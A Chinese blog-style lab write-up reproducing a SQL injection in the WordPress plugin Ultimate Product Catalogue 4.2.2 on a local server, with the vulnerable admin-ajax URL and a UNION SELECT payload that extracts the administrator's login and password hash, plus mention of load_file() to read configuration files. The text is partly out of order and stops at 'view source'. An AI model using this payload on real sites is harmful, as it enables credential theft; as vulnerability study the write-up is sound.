該SQL漏洞存在于wordpress的插件Ultimate Produce Catalogue 4.2.2版本,在Exploit Database可以搜到這個(gè)漏洞的信息:https://www.exploit-db.com/exploits/42263/。
01.基礎(chǔ)環(huán)境
1. WordPress _v4.6源碼,安裝Ultimate Produce Catalogue 4.2.2版本插件。
2. 本機(jī)電腦搭建phpstudy作為WEB環(huán)境。
02.源碼部署
首先wordpress的安裝,這個(gè)之前在我已經(jīng)有詳細(xì)的搭建過(guò)程,有不明白的小伙伴可以查看。
下面介紹插件安裝,Ultimate Produce Catalogue插件安裝包的下載地址:
鏈接:http://pan.baidu.com/s/1o8Rvdfs
密碼:avul
安裝完成,啟用插件。
03.漏洞復(fù)現(xiàn)過(guò)程
首先我們使用管理賬號(hào)新建一個(gè)賬號(hào),名為testsql,利用testsql這個(gè)賬號(hào)通過(guò)sql注入漏洞拿到管理員的賬號(hào)。
然后使用testsql這個(gè)賬號(hào)進(jìn)行登陸。
存在漏洞的地址如下:
http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=get_upcp_subcategories
[請(qǐng)求數(shù)據(jù)]
CatID=0UNION SELECT 1,2
引起這個(gè)漏洞的原因是CatID的參數(shù)沒(méi)有做轉(zhuǎn)義處理導(dǎo)致sql注入,如下圖,可執(zhí)行sql語(yǔ)句。
下載之后,進(jìn)入首頁(yè),選擇插件,添加插件并安裝。
管理員管理員賬號(hào)和密碼的sql語(yǔ)句:
Payload:
CatID=0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID=1
04.總結(jié)
這個(gè)漏洞有點(diǎn)雞肋,首先必須使用存在的賬號(hào)登陸才能夠回顯數(shù)據(jù),接著獲得admin的賬號(hào)密碼之后,密碼的破解難度很大,我們可以使用load_file()去讀取系統(tǒng)的文件,如下是讀取數(shù)據(jù)庫(kù)的配置文件。
查看源代碼: